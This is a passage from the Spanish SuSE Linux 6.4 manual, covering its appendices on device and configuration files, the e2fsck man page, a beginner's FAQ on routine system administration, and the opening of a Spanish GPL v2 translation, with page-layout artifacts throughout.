_______________________________________________________________________________________________________* *_________ Tabla D.3: Resumen de los ficheros de dispositivo de cintas/Streamer D.1.3 Mouse (Bus y PS/2) _______________________________________________________________________________________________________* *_________ /dev/mouse Enlace que apunta a la interfaz usada por el mouse, o sea, a uno de los siguiente pseudo-ficheros (para bus-mouse) o a un puerto serie (para mouse de puerto serie). YaST establece el enlace. _______________________________________________________________________________________________________* *_________ Tabla D.4: Continúa en la página siguiente ... 514 ______________________________________________________D.1.__Ficheros_de_dispositivos_en_el_directorio_/dev__________________* *______________________ ______________________________________________________________________________________________________________________ /dev/atibm bus-mouse de la tarjeta de vídeo ATI. /dev/logibm Logitech bus-mouse. /dev/psaux PS/2-mouse. /dev/inportbm PS/2-bus-mouse (Microsoft Inport bus-mouse). /dev/sunmouse SUN mouse. ______________________________________________________________________________________________________________________ Tabla D.4: Resumen de los ficheros de dispositivo para mouse D.1.4 Modem ______________________________________________________________________________________________________________________ /dev/modem Enlace al puerto COM al cual se conecta el modem (YaST genera el enlace) ______________________________________________________________________________________________________________________ Tabla D.5: Fichero de dispositivo para modem D.1.5 Puertos serie ______________________________________________________________________________________________________________________ /dev/ttyS0 puertos serie de 0 hasta 3 hasta (COM1 hasta COM4) /dev/ttyS3 adicionales hasta ttyS63 /dev/cua0 desde la versión 2.2.x del kernel estos puertos /dev/cua3 serie son obsoletos y más obsoleto desde kernel 2.2.x ______________________________________________________________________________________________________________________ Tabla D.6: Ficheros de dispositivo para puertos serie D.1.6 Puertos paralelos ______________________________________________________________________________________________________________________ /dev/lp0 hasta puertos paralelos (LPT1 hasta LPT3) /dev/lp2 ______________________________________________________________________________________________________________________ Tabla D.7: Ficheros de dispositivo para impresoras en el puerto paralelo * * 515 D. Ficheros importantes___________________________________________________________________________________________________________* *_______________________________________@ D.1.7 Dispositivos especiales _______________________________________________________________________________________________________* *_________ /dev/null absorbe todos los datos (papelera de datos) /dev/tty1 hasta consolas virtuales /dev/tty8 /dev/zero genera todos los bytes de cero que se deseen _______________________________________________________________________________________________________* *_________ Tabla D.8: Ficheros de dispositivo para dispositivos virtuales/especiales D.2 Ficheros de configuración en /etc _______________________________________________________________________________________________________* *_________ /etc/ Indicaciones sobre la versión de SuSE Linux SuSE-release instalada. /etc/rc.config Fichero de configuración central; YaST lo gen- era y los scripts de arranque tal como SuSEcon- fig lo evalúan. /etc/rc.config.d Directorio que contiene ficheros adicionales con variables de rc.config. /etc/inittab Fichero de configuración para el proceso init . /etc/lilo.conf Configuración del LILO /etc/modules.conf Configuración de los módulos del kernel /etc/DIR_COLORS Definición de colores para ls /etc/XF86Config Configuración del sistema X Window. /etc/fstab Tabla con los sistemas de fichero que se montan automáticamente durante el arranque. /etc/profile Script de ''login'' de las shells (sh , bash , etc.) /etc/csh.login Script de ''login'' de tcsh /etc/csh.cshrc Configuración por defecto de tcsh /etc/profile.d Directorio con extensiones para /etc/profile y /etc/csh.cshrc /etc/passwd Información sobre usuarios: Nombres de usuario, directorio-home, shell de ''login'', número de usuario /etc/shadow Contraseñas /etc/group Grupos de usuarios /etc/printcap Descripción de las impresoras a disposición. Lo usa el daemon de impresión lpd, ver en la pági- na 325Impresoraschapter.12 _______________________________________________________________________________________________________* *_________ Tabla D.9: Continúa en la página siguiente ... 516 _________________________________________________________D.3.__Ficheros_de_configuración_ocultos_en_/home___________________* *______________________ ______________________________________________________________________________________________________________________ /etc/hosts Asignación de nombres de computadora a números IP (necesario cuando no hay un servi- dor de nombres). /etc/inetd.conf Control sobre los servicios IP a disposición (tel- net , finger , ftp etc.). /etc/syslogd.conf Fichero de configuración para el daemon ''sys- logd'', cuya tarea es la de protocolizar determi- nados mensajes del sistema. ______________________________________________________________________________________________________________________ Tabla D.9: Ficheros de configuración en /etc D.3 Ficheros de configuración ocultos en /home En el directorio home de cada usuario hay muchos ficheros de configuración que por razones prácticas se ocultan y porque se han de modificar en raras ocasiones. Un fichero se convierte en oculto anteponiendo un punto al nom- bre. Estos ficheros se visualizan usando el comando ls -a . En la tabla D.10 hay algunos ejemplos. ______________________________________________________________________________________________________________________ .profile script de ''login'' privado del usuario usando bash co- mo shell .bashrc configuración de la bash .exrc configuración de vi, ex .xinitrc script de inicio del sistema X Window. .fvwmrc configuración del fvwm-windowmanager .ctwmrc configuración del ctwm-windowmanager .openwin-menu configuración de los windowmanager olvwm y ol- wm ______________________________________________________________________________________________________________________ Tabla D.10: ficheros ocultos en el directorio de usuario Al crear un usuario nuevo estos ficheros se copian desde el directorio /etc/ skel. * * 517 D. Ficheros importantes___________________________________________________________________________________________________________* *_______________________________________@ 518 Apéndice E Manual-Page de e2fsck |||||||| | |||||||| | |||||||| | _______________________________________________________________________________________________________________________|||| |||||||| | |||||||| | |||||||| E2FSCK(8) E2FSCK(8) | |||||||| | |||||||| | |||||||| NAME | |||||||| | |||||||| e2fsck - check a Linux second extended file system | |||||||| | |||||||| SYNOPSIS | |||||||| e2fsck [ -pacnyrdfvstFSV ] [ -b superblock ] [ -B block- | |||||||| | |||||||| size ] [ -l|-L bad_blocks_file ] device | |||||||| | |||||||| DESCRIPTION | |||||||| e2fsck is used to check a Linux second extended file | |||||||| | |||||||| system. | |||||||| | |||||||| device is the special file corresponding to the device | |||||||| (e.g /dev/hdXX). | |||||||| | |||||||| | |||||||| OPTIONS | |||||||| -a This option does the same thing as the -p option. | |||||||| It is provided for backwards compatibility only; it | |||||||| | |||||||| is suggested that people use -p option whenever | |||||||| possible. | |||||||| | |||||||| -b superblock | |||||||| | |||||||| Instead of using the normal superblock, use the | |||||||| alternative superblock specified by superblock. | |||||||| | |||||||| | |||||||| -B blocksize | |||||||| Normally, e2fsck will search for the superblock at | |||||||| various different block sizes in an attempt to find | |||||||| the appropriate block size. This search can be | |||||||| | |||||||| fooled in some cases. This option forces e2fsck to | |||||||| only try locating the superblock at a particular | |||||||| blocksize. If the superblock is not found, e2fsck | |||||||| will terminate with a fatal error. | |||||||| | |||||||| | |||||||| -c This option causes e2fsck to run the badblocks(8) | |||||||| program to find any blocks which are bad on the | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | ~ Continúa en la página siguiente * * 519 | * * | | * * | | * * | E. Manual-Page de_e2fsck__________________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|||| | * * | || filesystem, and then marks them as bad by adding * * || | them to the bad block inode. * * | | * * | | -d Print debugging output (useless unless you are * * | | * * | | debugging e2fsck ). * * | | * * | | -f Force checking even if the file system seems clean. * * | | * * | | * * | | -F Flush the filesystem device's buffer caches before * * | | beginning. Only really useful for doing e2fsck * * | | time trials. * * | | * * | | * * | | -l filename * * | | Add the blocks listed in the file specified by * * | | filename to the list of bad blocks. * * | | * * | | * * | | -L filename * * | | Set the bad blocks list to be the list of blocks * * | | specified by filename. (This option is the same as * * | | * * | | the -l option, except the bad blocks list is * * | | cleared before the blocks listed in the file are * * | | added to the bad blocks list.) * * | | * * | | * * | | -n Open the filesystem read-only, and assume an answer * * | | of ``no'' to all questions. Allows e2fsck to be * * | | used non-interactively. (Note: if the -c, -l, or * * | | -L options are specified in addition to the -n * * | | * * | | option, then the filesystem will be opened read- * * | | write, to permit the bad-blocks list to be updated. * * | | However, no other changes will be made to the * * | | filesystem.) * * | | * * | | * * | | -p Automatically repair ("preen") the file system * * | | without any questions. * * | | * * | | * * | | -r This option does nothing at all; it is provided * * | | only for backwards compatibility. * * | | * * | | -s This option will byte-swap the filesystem so * * | | * * | | that it is using the normalized, standard byte- * * | | order (which is i386 or little endian). If the * * | | filesystem is already in the standard byte-order, * * | | e2fsck will take no action. * * | | * * | | * * | | -S This option will byte-swap the filesystem, regard- * * | | less of its current byte-order. * * | | * * | | * * | | -t Print timing statistics for e2fsck. If this option * * | | is used twice, additional timing statistics are * * | | printed on a pass by pass basis. * * | | * * | | * * | | -v Verbose mode. * * | | * * | | -V Print version information and exit. * * | | * * | | * * | |_______________________________________________________________________________________________________* *________ | ~ Continúa en la página siguiente 520 |||||||| | |||||||| | |||||||| | ___________________________________________________________________________________________E.__Manual-Page_de_e2fsck_______________* *_______________|||| _______________________________________________________________________________________________________________________|||| |||||||| | ||||||||| || |||||||| -y Assume an answer of ``yes'' to all questions; | |||||||| allows e2fsck to be used non-interactively. | |||||||| | |||||||| EXIT CODE | |||||||| | |||||||| The exit code returned by e2fsck is the sum of the | |||||||| following conditions: | |||||||| 0 - No errors | |||||||| 1 - File system errors corrected | |||||||| | |||||||| 2 - File system errors corrected, system should | |||||||| be rebooted if file system was mounted | |||||||| 4 - File system errors left uncorrected | |||||||| 8 - Operational error | |||||||| | |||||||| 16 - Usage or syntax error | |||||||| 128 - Shared library error | |||||||| | |||||||| REPORTING BUGS | |||||||| | |||||||| Almost any piece of software will have bugs. If you | |||||||| manage to find a filesystem which causes e2fsck to crash, | |||||||| or which e2fsck is unable to repair, please report it to | |||||||| | |||||||| the author. | |||||||| | |||||||| Please include as much information as possible in your bug | |||||||| report. Ideally, include a complete transcript of the | |||||||| | |||||||| e2fsck run, so I can see exactly what error messages are | |||||||| displayed. If you have a writeable filesystem where the | |||||||| transcript can be stored, the script(1) program is a handy | |||||||| way to save the output of to a file. | |||||||| | |||||||| | |||||||| It is also useful to send the output of dumpe2fs(8). If a | |||||||| specific inode or inodes seems to be giving e2fsck | |||||||| trouble, try running the debugfs(8) command and send the | |||||||| | |||||||| output of the stat command run on the relevant inode(s). | |||||||| If the inode is a directory, the debugfs dump command | |||||||| will allow you to extract the contents of the directory | |||||||| inode, which can sent to me after being first run through | |||||||| | |||||||| uuencode(1). | |||||||| | |||||||| Always include the full version string which e2fsck | |||||||| displays when it is run, so I know which version you are | |||||||| | |||||||| running. | |||||||| | |||||||| AUTHOR | |||||||| This version of e2fsck is written by Theodore Ts'o | |||||||| | |||||||| . | |||||||| | |||||||| SEE ALSO | |||||||| mke2fs(8), tune2fs(8), dumpe2fs(8), debugfs(8) | |||||||| | |||||||| | |||||||| | |||||||| E2fsprogs version 1.06 October 1996 | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | 521 E. Manual-Page de_e2fsck__________________________________________________________________________________________________________* *_______________________________________@ 522 Apéndice F Las SuSE Linux-FAQ En este anexo tratamos de responder a aquellas preguntas que aparecen con mucha frecuencia; las ''preguntas frecuentemente planteadas'' (ingl. Frequently Asked Questions). Aunque el manual ya contiene la respuesta correcta para la mayoría de ellas, es posible que una persona que comienza con Linux no sepa dónde buscar. Por eso en casi todas las respuestas se indica como referencia el capítulo sobre el tema en cuestión. Tengo un SuSE Linux antiguo ~ ¿Cómo puede actualizar a 6.4? Lo más fácil es consultar el capítulo 15 en la página 393Actualización del sis- tema ~ Gestión de paqueteschapter.15, que tiene como tema la actualización. ¿Cuál es el capítulo más importante del manual? Para principiantes el capítulo 19 en la página 467Introducción a Linuxchapter.19, pero éste no reemplaza a un libro sobre Linux! Libros sobre Linux se encuen- tran en http://www.suse.de/de/produkte/buecher/index.html. Después de la instalación me aparece continuamente el mensaje de error "login:" ~ ¿Hago algo mal? No está haciendo nada mal, la instalación ha terminado y es posible entrar al sistema con su nombre de usuario (ingl. username) y su contraseña (efectuar un ''login''); en el primer instante solo existe el usuario `root' (consultar también el apartado 19.1 en la página 467Hacer login, `root'-Usuario, in- troducción de Usuariosection.19.1 y apartado 3.7.7 en la página 112Admin- istración de usuariossubsection.3.7.7). He hecho el ''login'' y solo veo tierra: # ~ ¿Cómo puedo entrar final- mente a Linux? Ya está ''en Linux''. Lo que probablemente quiere es iniciar el entorno gráfico de usuario. Para ello debe configurarlo primero (p. ej. con SaX ) , si a caso no lo ha realizado aún (ver el apartado 2.1.14 en la página 27Preparación del entorno gráficosubsection.2.1.14). Posteriormente puede iniciar la superficie gráfica (sistema X Window) con el comando startx . Proceda según las indicaciones del capítulo 8 en la página 237El sistema X Windowchapter.8. * * 523 F. Las SuSE Linux-FAQ________________________________________________________________________________________________________* *_______________________________________@ Uso la computadora solo para mí; por qué debo entrar siempre al sistema con "login"? Linux es un sistema operativo multiusuario. Para que Linux sepa quién está trabajando es preciso indicarle el nombre de usuario (ingl. username) y de la contraseña. A propósito: Solo entre al sistema como superusuario `root' cuando quiera modificar el sistema (instalación de programas, configuración, etc.). Para el uso normal cree un usuario y así evitará ''dañar'' la instalación. ¿Hace falta compilar un kernel propio? ¡No, generalmente no hace falta! ¡El kernel tiene ya tal nivel de complejidad, que hace falta considerar unas 800 opciones en la configuración del mismo! Es muy difícil dominar y lle- gar a conocer todas las configuraciones y sus respectivas consecuencias, por lo que aconsejamos, especialmente a los usuarios poco experimentados, no compilar su propio kernel. Sin embargo, si se quiere aventurar, hágalo a pro- pio riesgo ~ ¡En tal caso no le podemos prestar soporte de instalación! ¿Pero no hace falta compilar un kernel propio para el soporte de tarjetas de sonido? No, desde la versión 2.2.xx del kernel esto ya no es necesario. Proceda del modo que se explica en el apartado 10.3 en la página 290Tarjetas de sonidosection.10.3. ¿Dónde se puede encontrar información sobre SuSE Linux? En primer lugar por medio del manual, especialmente respecto a la instalación y a sus particularidades. En /usr/doc/packages se puede encontrar docu- mentación sobre los programas. Las instrucciones generales tienen la forma de ''HowTos'' (los ''Cómo's'' en castellano) y se encuentran en el directorio /usr/doc/howto/en (en inglés) o en /usr/doc/howto/es en castellano. Se puede leer la documentación por ejemplo con el comando: less /usr/doc/howto/es/Dos-a-Linux-Como.gz En el KDE también se pueden leer estos ficheros con el administrador de ficheros kfm . Se seleccionan sencillamente con un click del mouse y cuando aparece la pregunta "Abrir con:" ("Open with:") se introduce kedit . ¿Dónde se pueden conseguir consejos especiales y ayuda en general? Introduzca en un xterm el comando help . En seguida se inicia Netscape mostrando el banco de datos de soporte. En Internet se encuentra nuestro ban- co de datos de soporte bajo http://www.suse.de/sdb/de/html/index. html. Introduzca la palabra buscada y continúe o retroceda según la ''Histo- ry''. ¿Cómo se pueden introducir comandos en KDE? Pulsando_`K' ~ `Utilities' ~ `Terminal'. También se puede pulsar |_____A|lt + |___F|2e introducir xterm . Así aparecerá un terminal (erróneamente se le denomina a veces ''Ventana DOS'') para introducir comandos. 524 ______________________________________________________________________________________________F.__Las_SuSE______Linux-FAQ___* *______________________ Hay muchos programas que no se encuentran en KDE. También se pueden iniciar todos los programas desde la ventana de un ter- minal (xterm , ver arriba), introduciendo el nombre del programa seguido de _- |||||||||__. No puedo entrar a mi computadora vía telnet . Siempre me aparece la respuesta "Login incorrect". Probablemente está intentando entrar al sistema como superusuario `root', lo cual no es posible con telnet por razones de seguridad. Genere con YaST un usuario normal (ver el apartado 3.7.7 en la pági- na 112Administración de usuariossubsection.3.7.7) para entrar con éste y cambiar posteriormente con su al superusuario `root'. Es mucho más seguro emplear el programa ssh en lugar de telnet ya que ssh establece conexiones codificadas. La ''secure shell'' se encuentra en la serie sec. ¿Cómo acceder a Internet con Linux? El manual lo explica en el capítulo 5.3 en la página 171Configuración y usochapter.6. ¿Hay que temer los ataques de virus bajo Linux? No. Bajo Linux no existe ninguna amenaza seria de virus (ver en la pági- na 454Virus y caballos de TroyaHfootnote.80). Mientras no se lance un virus como superusuario, éste no podrá provocar grandes daños que pongan en peligro la integridad del sistema. Los escáneres de virus para Linux sirven solamente para rastrear E-Mails por virus de Windows (en el caso que la máquina con Linux sea un enrutador). ¿Dónde aparecen los mensajes de sistema? En una ventana de terminal introduzca como superusuario `root' el sigu- iente comando: tierra: # tail -f /var/log/messages En este aspecto hay otros programas interesantes como son: top , procinfo y xosview . Los mensajes durante el proceso de arranque se ven con tierra: # cat /var/log/boot.msg ¿Dónde se encuentra StarOffice? StarOffice se encuentra en la serie pay como paquete so_es. Para instalarlo use YaST , que le indica cuál CD se debe introducir en el lector de CDs. * * 525 F. Las SuSE Linux-FAQ________________________________________________________________________________________________________* *_______________________________________@ ¿Durante la instalación StarOffice pide una clave (Mediakey), dónde se encuentra ésta? Desde SuSE Linux 6.1 el código de registro y la ''Mediakey'' se encuentran impresos en el manual. Encontrará los códigos en la primera página del manual impreso sobre un papel grueso. . . Encontré un error en SuSE Linux. ¿A quién se lo puedo comunicar? Cerciórese de que realmente se trate de un error de un programa y no de un fallo de uso o de configuración. Lea también la documentación en /usr/ doc/packages y /usr/doc/howto. Tal vez el error ya ha sido reconocido y encontrará algo en nuestro banco de datos de soporte bajo http://www. suse.de/sdb/de/html/index.html. Introduzca una palabra clave y con- tinúe o retroceda según la ''History''. Si realmente resulta ser un error, envíe una descripción vía E-Mail a feed- back@suse.de indicando en todo caso su código de registro. ¿Cómo se puede acceder a un CD-ROM? Primero se debe montar el CD. Consulte en el manual el apartado 19.11.2 en la página 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2. ¿El CD ya no sale del lector, qué puedo hacer? Primero se debe desmontar el CD. Consulte en el manual el apartado 19.11.2 en la página 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2. Si está ejecutando YaST , termínelo primero. ¿Cómo se puede conocer el espacio libre en el disco? Con el comando df -h ; ver también el capítulo 19 en la página 467Introduc- ción a Linuxchapter.19. ¿Es posible hacer ''Copiar & Pegar'' en Linux? Si. Para usar ''Copiar & Pegar'' en modo texto, el programa gpm debe estar iniciado. El funcionamiento en el sistema X Window y en modo texto es: Marcar apretando el botón izquierdo del mouse y moviéndolo, Pegar con el botón del medio. La tecla derecha del mouse tiene normalmente una función especial. Si su mouse no tiene una tercera tecla, apriete las dos al mismo instante. ¿Cómo puedo instalar programas? Los programas que forman parte de los SuSE Linux CDs se instalan preferi- blemente con YaST . Muchos programas grandes y sofisticados (versiones de demostración) se encuentran en la serie pay. 526 ______________________________________________________________________________________________F.__Las_SuSE______Linux-FAQ___* *______________________ Hay un programa del cual ''solo'' tengo el código fuente. Cómo lo puedo instalar? En el caso de algunos programas se necesita un cierto grado de conocimien- to. La mejor forma para adquirirlo es un buen libro sobre Linux~ ver http://www.suse.de/buecher/. En breve: Desempaquetar el archivo con tar xvzf nombre.tar.gz , leer INSTALL o README y seguir las instruc- ciones. Normalmente los comandos son: ./configure;make;make install . Consulte también los consejos adicionales sobre la administración de paque- tes en el apartado 15.3 en la página 405RPM ~ El gestor de paquetessection.15.3. No podemos prestar soporte de instalación sobre temas relacionados con pro- gramas que Usted mismo compila. Necesito cortafuegos, Masquerading (enmascarar), servidor de correo y servidor WWW. ¿El soporte de instalación me ayuda con la configu- ración? No. El soporte de instalación (ver anexo H en la página 541Soporte y servicios de SuSE GmbH appendix.H) ayuda con el fin de poner en marcha la com- putadora. Para los temas que no están cubiertos por el soporte de instalación existen buenos libros y además, se puede encontrar documentación excelente en /usr/doc/packages y /usr/doc/howto/en/NET3-4HOWTO.gz Respecto a masquerading véase el apartado 6.7 en la página 201Masquerad- ing y Firewall ~ amigos y ''amiguetes''section.6.7. ¿Mi hardware está soportado? Lo mejor es consultar el banco de datos de componentes en http://cdb. suse.de. También se puede conseguir información con el comando less /usr/doc/howto/en/Hardware-HOWTO.gz . ¿Cómo se puede defragmentar el disco duro? Linux tiene un sistema de ficheros inteligente, que no necesita defrag- mentación, ya que prácticamente no se fragmenta. Vigile solamente que las particiones no se ocupen más del 90% (df -h ). He leído algo sobre ''particiones''. ¿De qué se trata? Bajo el verbo ''particionar'' se entiende la división del disco duro en partes. Windows se encuentra en una partición propia. SuSE Linux necesita en la configuración estándar 3 particiones (una para los ficheros de arranque, una para Linux mismo y la tercera para una partición de intercambio (swap)). Puede encontrar más información en el capítulo capítulo 19 en la pági- na 467Introducción a Linuxchapter.19. * * 527 F. Las SuSE Linux-FAQ________________________________________________________________________________________________________* *_______________________________________@ ¿Tengo que borrar Windows para usar Linux? No. Linux solo necesita espacio libre en el disco duro. Ejecute bajo Windows el programa defrag y use después el programa fips del primer CD de SuSE Linux, que se encuentra en el directorio \do- sutils\fips\fips20. Este programa permite achicar la partición de Windows con el fin de hacer espacio para Linux. ¡Haga con anterioridad un respaldo de sus datos y lea el Readme de fips ! Consulte las instruc- ciones de instalación explícitas en el apartado 2.1 en la página 17¡Directo al éxito!section.2.1. ¿Cuánto espacio necesito para Linux? Se puede comenzar con unos 380 MB, pero recomendamos alrededor de 1 GB. Para instalar casi todo se necesitan más de 6 GB. Necesito más espacio para Linux. ¿Cómo se puede añadir un nuevo disco duro? En un sistema Linux se pueden incorporar en cualquier momento discos duros o particiones libres para obtener más espacio. Por ejemplo, si desea tener más espacio en /opt, puede incorporar allí un disco duro nuevo. Se Procede de la siguiente manera: 1. Montar disco en la computadora y arrancar Linux. 2. Entrar al sistema como superusuario `root'. 3. Particionar con fdisk p. ej. como /dev/hdb1 4. Formatear la partición con mke2fs /dev/hdb1 5. Introducir los siguientes comandos: tierra: # cd /opt tierra:/opt # mkdir /opt2 tierra:/opt # mount /dev/hdb1 /opt2 tierra:/opt # cp -axv . /opt2 De todas formas compruebe cuidadosamente si todos los datos se han copiado al nuevo disco. Después puede mover el directorio antiguo y generar un nuevo punto de montaje vacío: tierra:/opt # mv /opt /opt.old tierra:/opt # mkdir /opt Ahora se debe dar de alta en el fichero /etc/fstab la nueva partición us- ando un + Editor. Esto puede ser similar a lo indicado en el fichero F.0.1. ________________________________________________________________________________________________________* *________|| | * * | | /dev/hdb1 /opt ext2 defaults 1 2 * * | | * * | | * * | |_______________________________________________________________________________________________________* *________ | Fichero F.0.1: Extracto de /etc/fstab : Partición adicional Ahora se debería parar la computadora y arrancar de nuevo. 528 ______________________________________________________________________________________________F.__Las_SuSE______Linux-FAQ___* *______________________ 6. Cuando la computadora se haya iniciado nuevamente, cerciórese usando el comando mount , si /dev/hdb1 realmente está montado bajo /opt. Si todo funciona correctamente se pueden quitar ahora los datos ''antiguos'' de /opt.old: tierra: # cd / tierra:/ # rm -fr opt.old Por equivocación compilé un kernel nuevo. ¿Cómo se puede instalar otra vez el kernel original de SuSE Linux? Se procede del modo indicado en el apartado 3.7.2 en la página 105Configu- ración del kernel y arranquesubsection.3.7.2. Mi computadora ha dejado de responder. ¿Hay algún peligro si se pulsa ''Reset''? Cuando la computadora deja de responder al teclado o al mouse, esto no sig- nifica que esté completamente ''colgada''. Es posible que un programa llegue a bloquear el teclado o el mouse, pero todos los demás programas aún siguen en ejecución. Si se puede acceder a la computadora por otra vía (red, terminal de puerto serie), es posible entrar al sistema y finalizar (''matar'') el programa que causa el bloqueo dando la orden killall ______ . En caso de no tener tal opción, intente acceder a otra consola con | ______C|trl+ Alt |||||||||__+ | ____|F2para finalizar desde allí el proceso que causa problemas. Si la computadora no reacciona a ninguna tecla, no apriete ''Reset'' antes de haber esperado como mínimo 10 segundos después del último acceso al disco duro. ¿Por qué consume Linux toda la memoria? Para explicar este efecto lo mejor es observar la salida en pantalla de free -t : total used free shared buffers cached Mem: 127800 94312 33488 11196 22324 46104 -/+ buffers/cache: 25884 101916 Swap: 136544 832 135712 Total: 264344 95144 169200 Parece como si hubiera ''solo'' 33488 KB disponibles (Mem/free). Esta es la cantidad de memoria no usada. El resto de memoria que no está us- ada por programas, sirve de cache de disco; en este caso son 46104 KB (Mem/cached). Con shared se especifica la memoria usada conjuntamente por varios programas (en este caso 11196 KB). La memoria libre es la cantidad que se indica en la línea -/+ buffers/cache y columna free , en este caso 101916 KB; virtualmente hay aún alrededor de 165 MB de memoria disponible. * * 529 F. Las SuSE Linux-FAQ________________________________________________________________________________________________________* *_______________________________________@ ¿Que es un mirror? ¿Por qué no puedo descargar archivos desde ftp. suse.com? Como hay muchos interesados que descargan software al mismo tiempo, el servidor se sobrecargaría rápidamente. Para evitar esto existen muchos otros servidores FTP que contienen una ''imagen espejada'' del servidor de SuSE; en inglés se llaman Mirrors (espejos). Lo mejor es conectarse a un Mirror en las cercanías (o sea en el mismo país) para obtener una conexión rápida. Puede encontrar una lista de mirrors p. ej. en http://www.suse.de/de/ support/download/ftp/. ¿Qué directorios son /var, /etc, /bin? Linux ~ como cualquier Unix ~ posee un sistema de ficheros (casi) uniforme y los mencionados directorios no se deben borrar ni mover. Como usuario solo trabaje en /home/tux; en lugar de `tux' introduzca su nombre de usuario. Puede encontrar más información sobre los directorios de sistema en anexo D en la página 513Ficheros importantesappendix.D. ¿Cómo puedo ver, editar, mover o copiar ficheros? El capítulo 19 en la página 467Introducción a Linuxchapter.19 explica cómo realizar esto con los comandos nativos de la línea de comandos. En la consola de textos también puede usar el Midnight Commander (mc ) mc (un clónico del conocido ''Comandante Norton''). Para usar_esta utilidad_en la superficie gráfica se debe abrir una terminal (pulse |A____l|t+ |F___|2e introduzca xterm ); en la nueva ventana introduzca mc . ¿Cómo puedo leer mis ficheros de DOS? Ver el capítulo 19.12 en la página 486Comandos DOS bajo Unix usando mtools section.19.12 del manual. No encuentro ningún fichero .exe. ¿Dónde están todos los programas? En Linux los ejecutables normalmente no llevan ninguna extensión. La may- oría de los programas se encuentran en los directorios /usr/bin y /usr/ X11R6/bin. ¿Cómo se pueden reconocer los ejecutables? Usando el comando ls -l /usr/bin se ven en color rojo todos los eje- cutables del directorio /usr/bin. También se pueden ver por la ''x'' en la columna izquierda (ver el apartado 19.7.1 en la página 472Propiedades de los ficherossubsection.19.7.1 del manual: -rwxr-xr-x 1 root root 64412 Jul 23 15:23 /usr/bin/ftp El administrador de ficheros de KDE (kfm ) simboliza los ejecutables con una rueda dentada. 530 ______________________________________________________________________________________________F.__Las_SuSE______Linux-FAQ___* *______________________ Quiero borrar Linux otra vez. ¿Cómo lo hago? Borre con fdisk la partición de Linux; puede ser necesario ejecutar fdisk bajo Linux. Posteriormente arranque el sistema con un disquete de MS-DOS e introduzca bajo DOS o Windows el comando fdisk /mbr . * * 531 F. Las SuSE Linux-FAQ________________________________________________________________________________________________________* *_______________________________________@ 532 Apéndice G La licencia pública general GNU (GPL) Esta traducción no reemplaza la GPL en el sentido jurídico. Tampoco se trata de una traducción castellana autorizada por parte de la Free Software Foundation (FSF). El original en inglés se puede consultar en http://www. gnu.org. LICENCIA PÚBLICA GENERAL GNU Versión 2, Junio de 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, EEUU Se permite a todo el mundo la copia y distribución de copias literales de este documento de licencia, pero no se permite su modificación. Preámbulo Las licencias que cubren la mayor parte del software están diseñadas para quitarle a usted la libertad de compartirlo y modificarlo. Por el contrario, la Licencia Pública General GNU pretende garantizarle la libertad de compartir y modificar software libre~para asegurar que el software es libre para todos sus usuarios. Esta Licencia Pública General se aplica a la mayor parte del software de la Free Software Foundation y a cualquier otro programa cuyos autores se comprometen a utilizarla. (Alguna parte del software de la Free Software Foundation está cubierto por la Licencia Pública General GNU para Librerías). Usted también la puede aplicar a sus programas. Cuando hablamos de software libre, estamos refiriéndonos a la libertad, no al precio. Nuestras Licencias Públicas Generales están diseñadas para asegu- rarnos de que tenga la libertad de distribuir copias de software libre (y cobrar por ese servicio si quiere), que reciba el código fuente o que pueda conseguir- lo si lo quiere, que pueda modificar el software o usar fragmentos de él en nuevos programas libres, y que sepa que puede hacer todas estas cosas. Para proteger sus derechos necesitamos algunas restricciones que prohiban a cualquiera negarle a usted estos derechos o pedirle que renuncie a ellos. Estas restricciones se traducen en ciertas obligaciones que le afectan si distribuye copias del software, o si lo modifica. * * 533 G. La licencia pública_general_GNU_(GPL)__________________________________________________________________________________________* *_______________________________________@ Por ejemplo, si distribuye copias de uno de estos programas, sea gratuita- mente, o a cambio de una contraprestación, debe dar a los receptores todos los derechos que tiene. Debe asegurarse de que ellos también reciben, o pueden conseguir, el código fuente. Y debe mostrarles estas condiciones de forma que conozcan sus derechos. Protegemos sus derechos con la combinación de dos medidas: (1) ponemos el software bajo copyright y (2) le ofrecemos esta licencia, que le da permiso legal para copiar, distribuir y/o modificar el software. También, para la protección de cada autor y la nuestra propia, queremos asegurarnos de que todo el mundo comprende que no se proporciona ninguna garantía para este software libre. Si el software es modificado por cualquiera y éste a su vez lo distribuye, queremos que sus receptores sepan que lo que tienen no es el original, de forma que cualquier problema introducido por otros no afecte a la reputación de los autores originales. Por último, cualquier programa libre está constantemente amenazado por patentes sobre el software. Queremos evitar el riesgo de que los redis- tribuidores de un programa libre individualmente obtengan patentes, haciendo el programa propietario a todos los efectos. Para prevenir esto, hemos dejado claro que cualquier patente debe ser concedida para el uso libre de cualquiera, o no ser concedida en absoluto. Los términos exactos y las condiciones para la copia, distribución y modifi- cación se exponen a continuación. LICENCIA PÚBLICA GENERAL GNU TÉRMINOS Y CONDICIONES PARA LA COPIA, DISTRIBUCIÓN Y MODIFICACIÓN 0. Esta Licencia se aplica a cualquier programa u otra obra que contenga un aviso colocado por el propietario del copyright diciendo que puede ser distribuido bajo los términos de esta Licencia Pública General. En adelante, "Programa"se referirá a cualquier programa u obra de esta clase y üna obra basada en el Programa"se referirá bien al Programa o a cualquier obra deriva- da de este según la ley de copyright. Esto es, una obra que contenga el pro- grama o una porción de este, bien en forma literal o con modificaciones y/o traducido en otro lenguaje. Por lo tanto, la traducción está incluida sin lim- itaciones en el término öm dificación". Cada propietario de una licencia será tratado como üsted". Cualquier otra actividad que no sea la copia, distribución o modificación no está cubierta por esta Licencia, está fuera de su ámbito. El acto de ejecutar el Programa no está restringido, y los resultados del Programa están cubiertos únicamente si sus contenidos constituyen una obra basada en el Programa, in- dependientemente de haberlo producido mediante la ejecución del programa. Que esto se cumpla, depende de lo que haga el programa. 1. Usted puede copiar y distribuir copias literales del código fuente del Pro- grama, tal y como lo recibió, por cualquier medio, supuesto que de forma adecuada y bien visible publique en cada copia un anuncio de copyright ade- cuado y una renuncia de garantía, mantenga intactos todos los anuncios que se 534 _________________________________________________________________G.__La_licencia_pública_general_GNU_(GPL)__________________* *______________________ refieran a esta Licencia y a la ausencia de garantía, y proporcione a cualquier otro receptor del programa una copia de esta Licencia junto con el Programa. Puede cobrar un precio por el acto físico de transferir una copia, y puede a 